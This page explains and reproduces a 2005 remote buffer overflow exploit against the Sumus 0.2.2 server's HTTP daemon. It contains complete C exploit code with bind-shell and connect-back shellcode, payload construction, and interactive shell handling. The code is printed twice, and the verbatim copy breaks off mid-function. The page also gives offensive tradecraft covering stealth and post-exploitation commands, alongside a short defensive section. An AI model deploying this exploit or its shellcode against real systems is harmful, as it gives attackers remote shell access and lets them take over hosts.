Sumus 0.2.2 HTTPd Remote Buffer Overflow Explained

Sumus 0.2.2 HTTPd Remote Buffer Overflow Explained
What this paper is
This paper details a remote buffer overflow vulnerability in the HTTP daemon (httpd) component of the Sumus server, version 0.2.2. The vulnerability allows an attacker to execute arbitrary code on a vulnerable server by sending a specially crafted HTTP request. The exploit targets a specific buffer overflow that occurs during the processing of HTTP requests, leading to control of the program's execution flow.
Simple technical breakdown
The Sumus server, when running, listens on port 81 by default for HTTP requests. It has a function that reads up to 20480 bytes into a buffer. A vulnerability exists in how it parses the "GET" request. Specifically, it extracts the requested URL path into a temporary buffer. The exploit crafts a long "GET" request that overflows a buffer. This overflow is unique because it overwrites an integer (kk) on the stack before it can overwrite the return address (eip). The exploit leverages this by carefully placing a new value for kk and then the desired return address, followed by shellcode, in the overflowed buffer. When the function returns, it jumps to the attacker-controlled address, executing the shellcode.
Complete code and payload walkthrough
The provided C code is an exploit script designed to leverage the Sumus 0.2.2 HTTPd buffer overflow.
Exploit Script Structure
The script begins with standard C includes and definitions for buffer sizes, timeouts, and default ports and addresses.
#include <stdio.h>
#include <stdlib.h>
#ifndef __USE_BSD
#define __USE_BSD
#endif
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <unistd.h>
#include <netdb.h>
#include <getopt.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define BUFSIZE 399
#define EGGSIZE 20000
#define TIMEOUT 10
#define DFL_PORT 81
#define DFL_SPORT 7979
#define DFL_RETADDR 0x0805a001
#define DFL_LOCT_KK 105
#define DFL_JUMP_KK 10- Includes: Standard libraries for input/output, memory allocation, string manipulation, networking, and system calls.
- Defines:
BUFSIZE: Defines the size of the initial buffer used for crafting the exploit payload (399 bytes).EGGSIZE: Defines the size of the shellcode payload (20000 bytes).TIMEOUT: Sets a timeout for network operations (10 seconds).DFL_PORT: Default port for the Sumus server (81).DFL_SPORT: Default port for the shellcode to bind to or connect back to (7979).DFL_RETADDR: Default return address (0x0805a001), likely a known safe location or a jump to the shellcode.DFL_LOCT_KK: Default offset for thekkinteger to be overwritten (105 bytes).DFL_JUMP_KK: Default offset for the jump to the shellcode (10 bytes).
Shellcode Payloads
The script includes two pre-compiled shellcode payloads:
static char x86_bind[]= /* bindshell, from netric. */
"\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66"
"\xcd\x80\x31\xd2\x52\x66\x68\xff\xff\x43\x66\x53\x89"
"\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89"
"\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52"
"\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd"
"\x80";
static char x86_conn[]= /* connect-back, eSDee/netric. */
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51"
"\xb1\x02\x51\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2"
"\x31\xc0\x31\xc9\x51\x51\x68\xff\xff\xff\xff\x66\x68"
"\xff\xff\xb1\x02\x66\x51\x89\xe7\xb3\x10\x53\x57\x52"
"\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1\x74"
"\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
"\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31"
"\xc0\xb0\x3f\x89\xd3\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
"\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd"
"\x80";x86_bind: This is a standard x86 shellcode that creates a bind shell. It will listen on a specified port (DFL_SPORTby default) and, when a connection is made, provide a shell.- Key operations:
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP): Creates a TCP socket.bind(): Binds the socket to a local address and port.listen(): Puts the socket in listening mode.accept(): Accepts an incoming connection.dup2()(implied): Duplicates file descriptors (stdin, stdout, stderr) to the accepted socket.execve("/bin/sh", ...): Executes/bin/shto provide a shell.
- Key operations:
x86_conn: This is an x86 shellcode that creates a connect-back shell. It will attempt to connect to a specified IP address and port (-cand-soptions) and, when connected, provide a shell.- Key operations:
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP): Creates a TCP socket.connect(): Connects to the attacker's specified IP and port.dup2()(implied): Duplicates file descriptors to the connected socket.execve("/bin/sh", ...): Executes/bin/shto provide a shell.
- Key operations:
Global Variables and Structures
char *x86_ptr;
struct{
unsigned char new_kk;
signed short loct_kk;
unsigned int addr;
char *host;
unsigned short port;
unsigned short sport;
}tbl;x86_ptr: A pointer that will point to eitherx86_bindorx86_connbased on the exploit's configuration.tbl: A structure to hold configuration parameters for the exploit:new_kk: The new value to overwrite thekkinteger with.loct_kk: The offset from the start of the buffer to thekkinteger.addr: The target return address (where execution should jump).host: The target hostname or IP address.port: The target Sumus server port.sport: The port for the shellcode (bind or connect-back).
Functions
getbuf(unsigned int addr):- Purpose: Constructs the initial part of the exploit buffer.
- Inputs:
addr(the target return address). - Behavior:
- Allocates a buffer of
BUFSIZE(399) bytes. - Fills the buffer with
0x08bytes (likely for obfuscation or to avoid null bytes). - Places the string "GET" at an offset calculated to be near the overflow point.
- Sets the byte at
BUFSIZE - 5totbl.new_kk. This is the crucial overwrite of thekkinteger. - Places the
addr(return address) atBUFSIZE - 4. This address will be used by the server's code to write data, and since thekkinteger is overwritten, this address will be used as the destination for thewhile()loop's byte-by-byte write. - Appends a newline character.
- Allocates a buffer of
- Output: A pointer to the crafted buffer.
- Code Fragment -> Practical Purpose:
memset(buf,0x08,BUFSIZE);-> Fills the initial buffer with a filler character.memcpy(buf+(BUFSIZE-tbl.loct_kk-9),"GET",3);-> Places the "GET" string, which is the trigger for the vulnerable parsing logic.buf[BUFSIZE-5]=tbl.new_kk;-> Crucial step: Overwrites thekkinteger with a controlled value.*(long *)&buf[BUFSIZE-4]=addr;-> Places the target return address. This address will be written to by the vulnerable loop afterkkis overwritten.
getegg(unsigned int size):- Purpose: Constructs the shellcode payload.
- Inputs:
size(the desired size of the shellcode payload,EGGSIZE). - Behavior:
- Allocates a buffer of
sizebytes. - Fills most of the buffer with NOP sled (
0x90) instructions. - Copies the actual shellcode (
x86_ptr) to the end of the buffer.
- Allocates a buffer of
- Output: A pointer to the shellcode buffer.
- Code Fragment -> Practical Purpose:
memset(buf,0x90,(size-strlen(x86_ptr)));-> Creates a NOP sled to increase the chances of landing on the shellcode.memcpy(buf+(size-strlen(x86_ptr)),x86_ptr,strlen(x86_ptr));-> Appends the actual shellcode.
sumus_connect(char *hostname, unsigned short port):- Purpose: Connects to the target Sumus server, sends the exploit payload, and closes the connection.
- Inputs:
hostname(target server address),port(target server port). - Behavior:
- Creates a TCP socket.
- Resolves the hostname to an IP address.
- Sets up the
sockaddr_instructure. - Sets an alarm for the
connectoperation. - Attempts to connect to the target.
- If connected, it writes the buffer created by
getbuf()and then the shellcode created bygetegg(). - Closes the socket.
- Output: Returns 0 (not used for significant logic).
- Code Fragment -> Practical Purpose:
connect(sock,(struct sockaddr *)&s,sizeof(s))-> Establishes the initial network connection to the vulnerable Sumus server.write(sock,getbuf(tbl.addr),BUFSIZE);-> Sends the first part of the exploit, containing the "GET" request, the overwrittenkkvalue, and the target return address.write(sock,getegg(EGGSIZE),EGGSIZE);-> Sends the shellcode payload.
getshell_bind_init(unsigned short port):- Purpose: Initializes a listening socket for a bind shell.
- Inputs:
port(the port the shellcode should bind to). - Behavior:
- Creates a TCP socket.
- Sets
SO_REUSEADDRandSO_REUSEPORToptions to allow immediate reuse of the port. - Binds the socket to
INADDR_ANY(all interfaces) and the specified port. - Starts listening for incoming connections.
- Output: The listening socket file descriptor.
getshell_bind_accept(signed int ssock):- Purpose: Accepts an incoming connection on a previously initialized bind shell socket.
- Inputs:
ssock(the listening socket file descriptor). - Behavior:
- Waits for a connection using
accept(). - Sets an alarm for the
acceptoperation. - Closes the listening socket after a connection is established.
- Waits for a connection using
- Output: The connected socket file descriptor.
getshell_conn(char *hostname, unsigned short port):- Purpose: Connects to the attacker-controlled machine for a connect-back shell.
- Inputs:
hostname(attacker's IP),port(attacker's port). - Behavior:
- Creates a TCP socket.
- Resolves the attacker's hostname.
- Sets up the
sockaddr_instructure for the attacker's address. - Attempts to connect to the attacker's machine.
- Sets an alarm for the
connectoperation.
- Output: The connected socket file descriptor.
proc_shell(signed int sock):- Purpose: Manages the interactive shell session.
- Inputs:
sock(the socket connected to the shell). - Behavior:
- Ignores SIGINT (Ctrl+C) to prevent accidental termination.
- Sends an initial command (
uname -a;id\n) to the remote shell. - Uses
select()to monitor both standard input (keyboard) and the shell socket. - If data is available on standard input, it's read and sent to the shell socket.
- If data is available on the shell socket, it's read and printed to standard output.
- The loop continues until the connection is closed by the remote end (read returns less than 1).
- Output: None (exits when the shell is closed).
printe(char *err, short e):- Purpose: Prints an error message and optionally exits.
- Inputs:
err(error string),e(flag to exit). - Behavior: Prints "[!] " followed by the error message. If
eis non-zero, it exits the program.
usage(char *progname):- Purpose: Displays the correct command-line syntax for the exploit.
- Inputs:
progname(the name of the executable). - Behavior: Prints usage instructions and exits.
main Function Walkthrough
int main(int argc,char **argv){
unsigned char tmp_new=0;
signed int chr=0,rsock=0;
unsigned int bs=0;
struct hostent *t;
in_addr_t s=0;
printf("[*] sumus[v0.2.2]: (httpd) remote buffer overflow explo"
"it.\n[*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)\n\n");
tbl.port=DFL_PORT;
tbl.sport=DFL_SPORT;
tbl.addr=DFL_RETADDR;
tbl.loct_kk=DFL_LOCT_KK;
while((chr=getopt(argc,argv,"h:p:s:c:r:l:n:"))!=EOF){
switch(chr){
case 'h':
if(!tbl.host&&!(tbl.host=(char *)strdup(optarg)))
printe("main(): allocating memory failed",1);
break;
case 'p':
tbl.port=atoi(optarg);
break;
case 's':
tbl.sport=atoi(optarg);
break;
case 'c':
if((s=inet_addr(optarg))){
if((t=gethostbyname(optarg)))
memcpy((char *)&s,(char *)t->h_addr,sizeof(s));
if(s==-1)s=0;
if(!s)printe("invalid host/ip. (-c option)",0);
}
break;
case 'r':
sscanf(optarg,"%x",&tbl.addr);
break;
case 'l':
tbl.loct_kk=atoi(optarg);
break;
case 'n':
tmp_new=atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}
if(!tbl.host)usage(argv[0]);
if(tbl.loct_kk<0||tbl.loct_kk>BUFSIZE)tbl.loct_kk=DFL_LOCT_KK;
/* set bind port for shellcode. */
if(!s){
bs=strlen(x86_bind);
x86_bind[20]=(tbl.sport&0xff00)>>8;
x86_bind[21]=(tbl.sport&0x00ff);
x86_ptr=x86_bind;
}
/* set connect-back ip/port for shellcode. */
else{
bs=strlen(x86_conn);
x86_conn[33]=(s&0x000000ff);
x86_conn[34]=(s&0x0000ff00)>>8;
x86_conn[35]=(s&0x00ff0000)>>16;
x86_conn[36]=(s&0xff000000)>>24;
x86_conn[39]=(tbl.sport&0xff00)>>8;
x86_conn[40]=(tbl.sport&0x00ff);
x86_ptr=x86_conn;
}
if(bs!=strlen(x86_ptr))
printe("ip(-c option) and/or port(-s option) appear to contain a "
"null-byte, try again.",1);
tbl.new_kk=(tbl.loct_kk+(tmp_new?tmp_new:DFL_JUMP_KK));
if(!tbl.new_kk)
printe("ip(-l/-n option) made the overwritten \"kk\" integer a "
"null-byte.",1);
printf("[*] target\t\t\t: %s:%d\n",tbl.host,tbl.port);
printf("[*] shellcode type\t\t: %s(port=%d)\n",
(s?"connect-back":"bindshell"),tbl.sport);
printf("[*] return address($eip)\t: 0x%.8x\n",tbl.addr);
printf("[*] overwritten \"kk\" int value\t: "
"%u(0x%.2x)\n",tbl.new_kk,tbl.new_kk);
printf("[*] overflow size\t\t: %u(tot=%u) byte(s)\n",
tbl.loct_kk,BUFSIZE);
printf("[*] egg size\t\t\t: %u byte(s)\n\n",EGGSIZE);
if(s){
rsock=getshell_bind_init(tbl.sport);
sumus_connect(tbl.host,tbl.port);
rsock=getshell_bind_accept(rsock);
}
else{
sumus_connect(tbl.host,tbl.port);
rsock=getshell_conn(tbl.host,tbl.sport);
}
if(rsock>0)proc_shell(rsock);
exit(0);
}- Initialization:
- Sets default values for
tbl.port,tbl.sport,tbl.addr, andtbl.loct_kk.
- Sets default values for
- Argument Parsing (
getopt):- Parses command-line options:
-h: Target host (required).-p: Target port (default 81).-s: Shellcode port (default 7979).-c: Connect-back host/IP (enables connect-back shell).-r: Target return address (default 0x0805a001).-l: Offset for thekkinteger (default 105).-n: Offset added to thekkinteger (default 0).
- Parses command-line options:
- Shellcode Configuration:
- If
-cis used, it configures thex86_connshellcode with the provided IP and port. - Otherwise, it configures the
x86_bindshellcode with the provided port. - It checks for null bytes in the configured IP/port, which could break the shellcode.
- If
- Calculating
tbl.new_kk:tbl.new_kkis calculated astbl.loct_kkplus an additional offset from-n(orDFL_JUMP_KKif-nis not used). This value is what will overwrite thekkinteger.
- Outputting Configuration: Prints the target details, shellcode type, and exploit parameters.
- Execution Flow:
- If a connect-back shell is enabled (
sis non-zero):getshell_bind_init(): Starts a listener on the attacker's machine.sumus_connect(): Sends the exploit to the target.getshell_bind_accept(): Waits for the target to connect back.
- If a bind shell is used:
sumus_connect(): Sends the exploit to the target.getshell_conn(): Connects to the target's shell.
- If a connect-back shell is enabled (
- Interactive Shell: If a connection is established (
rsock > 0),proc_shell()is called to manage the interactive shell session.
Code Fragment -> Practical Purpose Mapping
x86_bind[]-> Bind Shellcode: Listens locally for incoming connections, providing a shell.x86_conn[]-> Connect-Back Shellcode: Connects back to an attacker-controlled machine, providing a shell.tbl.addr-> Return Address: The memory address where the program should jump after the vulnerable function returns. This is critical for redirecting execution to the shellcode.tbl.loct_kk-> Offset tokk: The distance from the start of the buffer to thekkinteger that will be overwritten.tbl.new_kk-> NewkkValue: The specific byte value that will overwrite thekkinteger. This value is used by the vulnerable loop to determine how many bytes to write.BUFSIZE-> Exploit Buffer Size: The primary buffer used to trigger the overflow.EGGSIZE-> Shellcode Buffer Size: The buffer that holds the actual shellcode, often preceded by a NOP sled.getbuf()function -> Exploit Payload Construction: Creates the initial part of the exploit packet, including the "GET" request, the overwrittenkkvalue, and the target return address.getegg()function -> Shellcode Preparation: Creates the final part of the exploit packet, containing the NOP sled and the shellcode.sumus_connect()function -> Initial Connection and Payload Delivery: Connects to the vulnerable server and sends the crafted exploit data.getshell_bind_init()/getshell_bind_accept()-> Bind Shell Setup: Prepares the attacker's machine to receive a shell connection from the target.getshell_conn()-> Connect-Back Connection: Establishes a connection from the attacker's machine to the target's shell.proc_shell()function -> Interactive Shell Management: Handles input/output between the attacker and the compromised system.main()function -> Exploit Orchestration: Parses arguments, configures shellcode, and initiates the exploit sequence.
Practical details for offensive operations teams
- Required Access Level: Network access to the target Sumus server is required. No local access or prior authentication is needed for this remote exploit.
- Lab Preconditions:
- A vulnerable Sumus server (version 0.2.2) must be set up in a controlled lab environment. This can be achieved by compiling the Sumus server from source or finding a pre-compiled binary if available.
- The target server must be running and accessible over the network.
- For a connect-back shell, the attacker's machine must be reachable by the target server (e.g., no strict firewalls blocking outbound connections from the target to the attacker's
sport).
- Tooling Assumptions:
- The exploit is written in C and requires a C compiler (like GCC) to build.
- Standard Linux/Unix networking utilities and libraries are assumed.
- The attacker needs a machine to run the compiled exploit.
- Execution Pitfalls:
- Incorrect Return Address:
DFL_RETADDR(0x0805a001) is a default. The actual address might vary based on the Sumus binary's compilation and the target system's memory layout (ASLR, if present, though unlikely for a 2005 exploit). Finding the correct address is crucial. This might involve debugging the target or using techniques like address guessing. - Shellcode Null Bytes: The exploit explicitly checks for null bytes in the IP/port configuration for the shellcode. If the IP address or port contains a null byte, the shellcode might be truncated or corrupted.
- Network Latency/Packet Loss: The exploit relies on sending specific data in order. Network issues could cause the exploit to fail.
- Firewalls: Firewalls on the target network might block connections to the Sumus server (port 81) or block the connect-back shell from reaching the attacker's machine.
- Server Configuration: If the Sumus server is not running its HTTPd component or is configured to listen on a different port, the exploit will fail.
- Integer Overwrite Value (
tbl.new_kk): The value oftbl.new_kkis critical. It's derived fromtbl.loct_kkandDFL_JUMP_KK. If these values are incorrect for the target environment, the overflow might not behave as expected, or thekkinteger might not be overwritten correctly to facilitate the jump to the return address. - Buffer Size (
BUFSIZE): TheBUFSIZE(399) and the offsets withingetbufare specific to how the Sumus server handles its internal buffer and thekkinteger. Changes in the server's code would break these offsets.
- Incorrect Return Address:
- Tradecraft Considerations:
- Reconnaissance: Identify the Sumus server version and its network exposure. Port scanning can reveal port 81.
- Payload Selection: Choose between bind and connect-back shells based on network topology and firewall rules. Connect-back is often preferred if possible, as it's initiated from the target.
- Address Determination: If the default return address fails, manual analysis or debugging of the Sumus binary on a similar system might be necessary to find a reliable address that points into the shellcode.
- Stealth: The initial connection to port 81 is a standard HTTP GET request, which might be logged. The subsequent shell session needs to be managed carefully to avoid detection.
- Post-Exploitation: Once a shell is obtained, immediately gather system information (
uname -a,id,ps aux,netstat -tulnp) and assess the environment.
Where this was used and when
- Context: This exploit targets the Sumus server, a niche application for playing a card game over the internet. Its usage would likely be limited to environments where this specific game server was deployed.
- Timeframe: The exploit was published on April 14, 2005. Therefore, its practical use would have been primarily in the mid-2000s. It's highly unlikely to be effective against modern, patched systems.
- Usage: It's difficult to pinpoint specific real-world incidents where this exact exploit was used. Exploits for less common services like Sumus are less likely to be widely documented in public incident reports compared to vulnerabilities in more prevalent software like web servers or operating systems. However, it represents a common type of buffer overflow vulnerability prevalent in that era.
Defensive lessons for modern teams
- Patch Management: The most critical lesson is the importance of keeping software up-to-date. Sumus 0.2.2 is very old, and this vulnerability would have been patched in later versions or the software would have been retired.
- Input Validation and Bounds Checking: This exploit highlights the dangers of insufficient input validation and buffer overflow vulnerabilities. Modern applications must rigorously check the size and content of all user-supplied input before processing it.
- Secure Coding Practices: Developers must be trained in secure coding practices, including avoiding functions known to be vulnerable (like
strcpy,gets, and in this case, improper handling ofrecvand subsequent string parsing). - Network Segmentation and Firewalls: Network segmentation can limit the blast radius of a successful exploit. Firewalls should restrict access to only necessary ports and services.
- Intrusion Detection/Prevention Systems (IDS/IPS): Modern IDS/IPS solutions can detect anomalous network traffic patterns, including malformed HTTP requests or shellcode signatures, that might indicate an exploit attempt.
- Endpoint Detection and Response (EDR): EDR solutions can detect suspicious process behavior on the host, such as unexpected network connections or the execution of shellcode, even if the initial exploit vector is missed.
- Memory Safety Features: Modern operating systems and compilers offer memory safety features (like ASLR, DEP/NX, Stack Canaries) that make exploiting buffer overflows significantly more difficult, though not impossible.
ASCII visual (if applicable)
+-----------------------------------------------------------------+
| Attacker Machine |
| +-----------------+ +-----------------+ +-------------+ |
| | Exploit Script | --> | Network Socket | --> | Target Sumus| |
| | (xsumus) | | (TCP Connection)| | Server | |
| +-----------------+ +-----------------+ +-------------+ |
| | |
| | |
| v |
| +-------------+ |
| | httpd Proc. | |
| | (Vulnerable)| |
| +-------------+ |
| | |
| | |
| v |
| +-------------+ |
| | Buffer | |
| | [FILLER] | |
| | [GET] | |
| | [FILLER] | |
| | [kk_OVERWR] | | <-- Exploited
| | [RET_ADDR] | |
| | [SHELLCODE] | |
| +-------------+ |
| | |
| | |
| v |
| +-------------+ |
| | Return | |
| | Execution | |
| | to Shellcode| |
| +-------------+ |
| | |
| | |
| v |
| +-------------+ |
| | Shell | |
| | (e.g., /bin/sh) | |
| +-------------+ |
+-----------------------------------------------------------------+Explanation:
- The attacker runs the compiled exploit script (
xsumus). - The script establishes a network connection to the target Sumus server.
- It sends a specially crafted payload that exploits a buffer overflow in the server's HTTP processing.
- The payload overwrites a critical integer (
kk) and then places the attacker-controlled return address. - When the vulnerable function returns, instead of going to its intended location, it jumps to the attacker-provided return address.
- This return address points to the shellcode (the "egg") that was also sent in the payload.
- The shellcode executes, typically providing a shell connection back to the attacker or opening a listening port on the target.
Source references
- Paper ID: 940
- Paper Title: Sumus 0.2.2 - HTTPd Remote Buffer Overflow
- Author: vade79
- Published: 2005-04-14
- Keywords: Linux, remote
- Paper URL: https://www.exploit-db.com/papers/940
- Raw URL: https://www.exploit-db.com/raw/940
Original Exploit-DB Content (Verbatim)
/*[ sumus[v0.2.2]: (httpd) remote buffer overflow exploit. ]****
* *
* by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo) *
* *
* compile: *
* gcc xsumus.c -o xsumus *
* *
* syntax: *
* ./xsumus [-pscrln] -h host *
* *
* sumus homepage/url: *
* http://sumus.sourceforge.net *
* *
* Mus is a Spanish cards game played by 4 folks around a *
* table. SUMUS is a server for playing mus over Internet. The *
* project is just the server, but Java applet and Linux *
* console clients are provided. *
* *
* SUMUS contains a remotely exploitable buffer overflow in *
* the httpd portion of its server code, which runs *
* automatically upon starting the SUMUS server(usually port *
* 81). *
* *
* the overflow itself occurs on the stack, but it isn't quite *
* cut and dry as normal. this overflow occurs in a while() *
* byte-by-byte write loop, and the integers used in the loop *
* get overwritten before it makes it to the eip/return *
* address. this is best explained by viewing the code *
* itself: *
* *
* ----------------------------------------------------------- *
* char Buffer[65536] ; *
* ... *
* k = recv( SocketWebPendientes[ j ], Buffer, 20480, 0 ) ; *
* if( k > 0 ) *
* RespondeHTTPPendiente( j ) ; *
* ... *
* void RespondeHTTPPendiente( int Pos ) *
* { *
* int j ,kk ,faltan ; *
* char tmpCad[100], *p1, *p2 ; *
* FILE *f ; *
* *
* Buffer[400] = 0 ; *
* p1 = strstr( Buffer, "GET" ) ; *
* if( p1 == NULL ) p1 = strstr( Buffer, "Get" ) ; *
* if( p1 == NULL ) p1 = strstr( Buffer, "get" ) ; *
* if( p1 != NULL ) *
* { *
* j = 5 ; *
* kk = 0 ; *
* if( j < strlen(p1) ) *
* while ( p1[j] != ' ' && p1[j] ) *
* tmpCad[kk++] = p1[j++] ; *
* tmpCad[kk] = 0 ; *
* } *
* ... *
* ----------------------------------------------------------- *
* *
* as you can see this makes for a special situation. the *
* best method i came up with was to format the buffer like *
* so: *
* [400 bytes] | [20000 bytes] *
* [FILLER]["GET"][FILLER][new "kk"][ADDR] | [EGG/SHELLCODE] *
* *
* this way since the new "kk"/addr ends right the 400 *
* boundary point, only the overwritten "kk" integer needs to *
* be worried about(and not the "j" integer as well). *
* *
* i mainly made this because it was a moderatly different *
* exploit method than the norm. figured i'd see if it could *
* be done, and here we are. *
* *
* tested with default values(on static binary): *
* + gentoo-r5 : successful. *
* + mandrake9.1/default : successful. *
* + mandrake9.1/secure : failed. *
* + fedora core2 : successful. *
***************************************************************/
#include <stdio.h>
#include <stdlib.h>
#ifndef __USE_BSD
#define __USE_BSD
#endif
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <unistd.h>
#include <netdb.h>
#include <getopt.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define BUFSIZE 399
#define EGGSIZE 20000
#define TIMEOUT 10
#define DFL_PORT 81
#define DFL_SPORT 7979
#define DFL_RETADDR 0x0805a001
#define DFL_LOCT_KK 105
#define DFL_JUMP_KK 10
/* globals. */
static char x86_bind[]= /* bindshell, from netric. */
"\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66"
"\xcd\x80\x31\xd2\x52\x66\x68\xff\xff\x43\x66\x53\x89"
"\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89"
"\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52"
"\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd"
"\x80";
static char x86_conn[]= /* connect-back, eSDee/netric. */
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51"
"\xb1\x02\x51\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2"
"\x31\xc0\x31\xc9\x51\x51\x68\xff\xff\xff\xff\x66\x68"
"\xff\xff\xb1\x02\x66\x51\x89\xe7\xb3\x10\x53\x57\x52"
"\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1\x74"
"\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
"\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31"
"\xc0\xb0\x3f\x89\xd3\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
"\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd"
"\x80";
char *x86_ptr;
struct{
unsigned char new_kk;
signed short loct_kk;
unsigned int addr;
char *host;
unsigned short port;
unsigned short sport;
}tbl;
/* lonely extern. */
extern char *optarg;
/* functions. */
char *getbuf(unsigned int);
char *getegg(unsigned int);
unsigned short sumus_connect(char *,unsigned short);
void getshell(char *,unsigned short);
signed int getshell_bind_init(unsigned short);
signed int getshell_bind_accept(signed int);
signed int getshell_conn(char *,unsigned short);
void proc_shell(signed int);
void printe(char *,short);
void usage(char *);
void sig_alarm(){printe("alarm/timeout hit.",1);}
/* start. */
int main(int argc,char **argv){
unsigned char tmp_new=0;
signed int chr=0,rsock=0;
unsigned int bs=0;
struct hostent *t;
in_addr_t s=0;
printf("[*] sumus[v0.2.2]: (httpd) remote buffer overflow explo"
"it.\n[*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)\n\n");
tbl.port=DFL_PORT;
tbl.sport=DFL_SPORT;
tbl.addr=DFL_RETADDR;
tbl.loct_kk=DFL_LOCT_KK;
while((chr=getopt(argc,argv,"h:p:s:c:r:l:n:"))!=EOF){
switch(chr){
case 'h':
if(!tbl.host&&!(tbl.host=(char *)strdup(optarg)))
printe("main(): allocating memory failed",1);
break;
case 'p':
tbl.port=atoi(optarg);
break;
case 's':
tbl.sport=atoi(optarg);
break;
case 'c':
if((s=inet_addr(optarg))){
if((t=gethostbyname(optarg)))
memcpy((char *)&s,(char *)t->h_addr,sizeof(s));
if(s==-1)s=0;
if(!s)printe("invalid host/ip. (-c option)",0);
}
break;
case 'r':
sscanf(optarg,"%x",&tbl.addr);
break;
case 'l':
tbl.loct_kk=atoi(optarg);
break;
case 'n':
tmp_new=atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}
if(!tbl.host)usage(argv[0]);
if(tbl.loct_kk<0||tbl.loct_kk>BUFSIZE)tbl.loct_kk=DFL_LOCT_KK;
/* set bind port for shellcode. */
if(!s){
bs=strlen(x86_bind);
x86_bind[20]=(tbl.sport&0xff00)>>8;
x86_bind[21]=(tbl.sport&0x00ff);
x86_ptr=x86_bind;
}
/* set connect-back ip/port for shellcode. */
else{
bs=strlen(x86_conn);
x86_conn[33]=(s&0x000000ff);
x86_conn[34]=(s&0x0000ff00)>>8;
x86_conn[35]=(s&0x00ff0000)>>16;
x86_conn[36]=(s&0xff000000)>>24;
x86_conn[39]=(tbl.sport&0xff00)>>8;
x86_conn[40]=(tbl.sport&0x00ff);
x86_ptr=x86_conn;
}
if(bs!=strlen(x86_ptr))
printe("ip(-c option) and/or port(-s option) appear to contain a "
"null-byte, try again.",1);
tbl.new_kk=(tbl.loct_kk+(tmp_new?tmp_new:DFL_JUMP_KK));
if(!tbl.new_kk)
printe("ip(-l/-n option) made the overwritten \"kk\" integer a "
"null-byte.",1);
printf("[*] target\t\t\t: %s:%d\n",tbl.host,tbl.port);
printf("[*] shellcode type\t\t: %s(port=%d)\n",
(s?"connect-back":"bindshell"),tbl.sport);
printf("[*] return address($eip)\t: 0x%.8x\n",tbl.addr);
printf("[*] overwritten \"kk\" int value\t: "
"%u(0x%.2x)\n",tbl.new_kk,tbl.new_kk);
printf("[*] overflow size\t\t: %u(tot=%u) byte(s)\n",
tbl.loct_kk,BUFSIZE);
printf("[*] egg size\t\t\t: %u byte(s)\n\n",EGGSIZE);
if(s){
rsock=getshell_bind_init(tbl.sport);
sumus_connect(tbl.host,tbl.port);
rsock=getshell_bind_accept(rsock);
}
else{
sumus_connect(tbl.host,tbl.port);
rsock=getshell_conn(tbl.host,tbl.sport);
}
if(rsock>0)proc_shell(rsock);
exit(0);
}
char *getbuf(unsigned int addr){
char *buf;
if(!(buf=(char *)malloc(BUFSIZE+1)))
printe("getbuf(): allocating memory failed.",1);
/* 0x08 helps hide the appearance of a giant string, */
/* for the server side display. */
memset(buf,0x08,BUFSIZE);
memcpy(buf+(BUFSIZE-tbl.loct_kk-9),"GET",3);
/* this will overwrite the "kk" integer of the sumus server. */
buf[BUFSIZE-5]=tbl.new_kk;
/* the address/value used to write in the while() loop right */
/* after the "kk" integer has been overwritten/changed. */
*(long *)&buf[BUFSIZE-4]=addr;
buf[BUFSIZE]='\n';
return(buf);
}
char *getegg(unsigned int size){
char *buf;
if(!(buf=(char *)malloc(size+1)))
printe("getegg(): allocating memory failed",1);
memset(buf,0x90,(size-strlen(x86_ptr)));
memcpy(buf+(size-strlen(x86_ptr)),x86_ptr,
strlen(x86_ptr));
return(buf);
}
unsigned short sumus_connect(char *hostname,unsigned short port){
signed int sock;
